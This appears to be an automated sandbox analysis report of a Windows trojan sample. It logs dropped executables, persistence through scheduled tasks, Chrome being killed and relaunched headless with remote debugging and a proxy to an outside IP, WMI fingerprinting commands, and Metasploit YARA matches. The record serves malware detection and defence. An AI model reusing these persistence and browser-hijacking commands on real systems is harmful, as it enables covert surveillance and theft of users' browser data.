Source: winclock.exe, 00000004.00000002.2452222812.000000C00018C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/account/about/?hl=en-USSELECT
Source: winclock.exe, 00000004.00000002.2452222812.000000C000024000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/account/about/?hl=en-USStatus
Source: winclock.exe, 00000004.00000002.2452222812.000000C000052000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/account/about/?hl=en-USpanic
Source: notepad.exe, 00000020.00000002.2953422761.000000C0002C6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.maxmind.com

Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943

Source: malnotify.exe, 00000012.00000002.2473465562.000000C000D32000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: morebuf={pc:: no frame (sp=runtime: frame runtimer: bad ptraceback stuckRegCreateKeyExWRegDeleteValueWnegative updateaccept-encodingaccept-languagex-forwarded-forAccept-Encodingrecv_rststream_Idempotency-KeyPartial ContentRequest TimeoutLength RequiredNot ImplementedGateway Timeoutunexpected typebad trailer keywrite error: %wdata before FINbad close code GetMonitorInfoWbad IHDR lengthbad PLTE lengthbad tRNS lengthbad filter typebad IEND length476837158203125missing address/etc/mdns.allowunknown networkrecord overflowbad certificatePKCS1WithSHA256PKCS1WithSHA384PKCS1WithSHA512ClientAuthType(unknown versioninvalid argSize<invalid Value>jstmpllitinterptarinsecurepathx509usepolicieszipinsecurepathAccept-LanguageX-Forwarded-For()<>@,;:\"/[]?=ImpersonateSelfOpenThreadTokenExcludeClipRectGetEnhMetaFileWGetTextMetricsWPlayEnhMetaFileGdiplusShutdownGetThreadLocaleOleUninitializewglGetCurrentDCDragAcceptFilesCallWindowProcWCreatePopupMenuCreateWindowExWDialogBoxParamWGetActiveWindowGetDpiForWindowGetRawInputDataInsertMenuItemWIsWindowEnabledIsWindowVisiblePostQuitMessageSetActiveWindowSetWinEventHookTrackMouseEventWindowFromPointDrawThemeTextExinvalid pointer is unavailable0601021504Z0700GetSecurityInfoSetSecurityInfoFindNextVolumeWFindVolumeCloseGetCommTimeoutsIsWow64Process2QueryDosDeviceWSetCommTimeoutsSetVolumeLabelWRtlDefaultNpAclCLSIDFromStringStringFromGUID2IsWindowUnicodetimeBeginPeriodAddDllDirectoryinvalid booleannon-minimal tagunknown Go typeavx512vpopcntdqtime: bad [0-9]*0123456789abcdefcontext canceled.WithValue(type application/jsonafter object key: value of type invalid argumentinvalid exchangeno route to hostmessage too longobject is remoteremote I/O errorSetFilePointerExOpenProcessTokenRegQueryInfoKeyWRegQueryValueExWDnsNameCompare_WCreateDirectoryWFlushFileBuffersGetComputerNameWGetFullPathNameWGetLongPathNameWRemoveDirectoryWTerminateProcessNetApiBufferFreeinteger overflowgcshrinkstackofftracefpunwindoffGC scavenge waitGC worker (idle)page trace flush out of bounds [/gc/gogc:percent, not a functiongc: unswept span KiB work (bg), mheap.sweepgen=runtime: nelems=workbuf is emptymSpanList.removemSpanList.insertbad special kindbad summary dataruntime: addr = runtime: base = runtime: head = timeBeginPeriod

memstr_b35e01dd-7

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2257028867.000000C000C36000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: 0000001A.00000002.2525980469.000000C003724000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: 0000001A.00000002.2509316872.000000C000200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00007FFD9B958202		30_2_00007FFD9B958202
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00007FFD9B957456		30_2_00007FFD9B957456

Source: 00000000.00000002.2257028867.000000C000C36000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: 0000001A.00000002.2525980469.000000C003724000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: 0000001A.00000002.2509316872.000000C000200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research

Source: classification engine

Classification label: mal100.troj.evad.winEXE@75/110@3/8

Source: C:\Users\user\Desktop\0A7XTINw3R.exe

File created: C:\Users\user\AppData\Local\Programs

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5724:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4124:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6596:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5288:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5132:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1928:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6492:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6220:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6888:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2720:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3168:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5960:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4420:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6244:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5216:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4ljpd1ig.lkb.ps1

Jump to behavior

Source: C:\Users\user\Desktop\0A7XTINw3R.exe	File opened: C:\Windows\system32\4608da3692acc175252cdf1656df530df778273645257f08574bbfbaa8cd8a53AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	File opened: C:\Windows\system32\b91c66d6af8b1539bece35228bdcbfab1d9d21e23d74cd9c797c2b847e3cda5fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	File opened: C:\Windows\system32\96c9ed8ed756902fe5910d6469a730a6d9a4dd637eee945ef991dbebe5a1cc01AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	File opened: C:\Windows\system32\234a47dd564a8dd43b230e762cb929ed62fa52f2278850d24c52ec9143e1e683AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	File opened: C:\Windows\system32\ad2179a8f7e05572fe2fe6be23c3711cb154be6798286bd5251c1f2b4bf62ba2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA	Jump to behavior
Source: C:\Windows\System32\notepad.exe	File opened: C:\Windows\system32\c4f8c1e98fc68a435a92f27e1838797e7db1b129cfca830d17f0d8308be6aa89AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA	Jump to behavior
Source: C:\Windows\System32\notepad.exe	File opened: C:\Windows\system32\60ca5c14670db60324113a856297d5abc82f507f86ae0507e895641bcfbd41a1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\SYSTEM32\cmd.exe /c ""C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\ddd06ef82d6d579523a798f429f6f5ae.bat""

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\cscript.exe cscript //nologo "e775357b2b21508be040c5b0f0c4c8e8.vbs"

Source: 0A7XTINw3R.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\cscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\0A7XTINw3R.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 0A7XTINw3R.exe

Virustotal: Detection: 13%

Source: unknown	Process created: C:\Users\user\Desktop\0A7XTINw3R.exe "C:\Users\user\Desktop\0A7XTINw3R.exe"
Source: C:\Users\user\Desktop\0A7XTINw3R.exe	Process created: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe
Source: C:\Users\user\Desktop\0A7XTINw3R.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn RunUpdateNotificationSvc /tr \"C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\ddd06ef82d6d579523a798f429f6f5ae.bat\" /sc hourly /mo 3 /f
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0A7XTINw3R.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /run /tn RunUpdateNotificationSvc
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\SYSTEM32\cmd.exe /c ""C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\ddd06ef82d6d579523a798f429f6f5ae.bat""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cscript.exe cscript //nologo "e775357b2b21508be040c5b0f0c4c8e8.vbs"
Source: C:\Windows\System32\cscript.exe	Process created: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe "C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe"
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Process chrome \| Stop-Process -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless=new --no-startup-window --profile-directory=Default --proxy-server=http://45.150.223.100:65140 --remote-debugging-port=37712 --use-mock-keychain "--user-data-dir=C:\Users\user\AppData\Local\Google\Chrome\User Data"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --proxy-server=http://45.150.223.100:65140 --noerrdialogs --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --mojo-platform-channel-handle=2216 --field-trial-handle=1968,i,13464842929730428422,1671638957188183847,262144 --disable-features=PaintHolding /prefetch:8
Source: C:\Users\user\Desktop\0A7XTINw3R.exe	Process created: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe
Source: C:\Users\user\Desktop\0A7XTINw3R.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn HiveUploadService /tr \"C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\0ee712ebb0d7b92b7244dfd3d3b5b50f.bat\" /sc onlogon /rl highest /f
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0A7XTINw3R.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /run /tn HiveUploadService
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\SYSTEM32\cmd.exe /c ""C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\0ee712ebb0d7b92b7244dfd3d3b5b50f.bat""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cscript.exe cscript //nologo "d42706bf42e64bbdfe3696dd11d9bad4.vbs"
Source: C:\Windows\System32\cscript.exe	Process created: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe "C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe"
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Process created: C:\Windows\System32\notepad.exe "C:\Windows\system32\notepad.exe"
Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(Get-WmiObject -Class Win32_ComputerSystemProduct).UUID"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(Get-WmiObject -Class Win32_OperatingSystem).Caption + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).Version + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).OSArchitecture + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).BuildNumber"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Process created: C:\Windows\System32\notepad.exe "C:\Windows\system32\notepad.exe"
Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(Get-WmiObject -Class Win32_ComputerSystemProduct).UUID"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(Get-WmiObject -Class Win32_OperatingSystem).Caption + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).Version + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).OSArchitecture + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).BuildNumber"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(Get-WmiObject -Class Win32_ComputerSystemProduct).UUID"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(Get-WmiObject -Class Win32_OperatingSystem).Caption + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).Version + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).OSArchitecture + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).BuildNumber"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(Get-WmiObject -Class Win32_ComputerSystemProduct).UUID"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(Get-WmiObject -Class Win32_OperatingSystem).Caption + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).Version + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).OSArchitecture + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).BuildNumber"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0A7XTINw3R.exe	Process created: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Jump to behavior
Source: C:\Users\user\Desktop\0A7XTINw3R.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn RunUpdateNotificationSvc /tr \"C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\ddd06ef82d6d579523a798f429f6f5ae.bat\" /sc hourly /mo 3 /f	Jump to behavior
Source: C:\Users\user\Desktop\0A7XTINw3R.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /run /tn RunUpdateNotificationSvc	Jump to behavior
Source: C:\Users\user\Desktop\0A7XTINw3R.exe	Process created: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Jump to behavior
Source: C:\Users\user\Desktop\0A7XTINw3R.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn HiveUploadService /tr \"C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\0ee712ebb0d7b92b7244dfd3d3b5b50f.bat\" /sc onlogon /rl highest /f	Jump to behavior
Source: C:\Users\user\Desktop\0A7XTINw3R.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /run /tn HiveUploadService	Jump to behavior
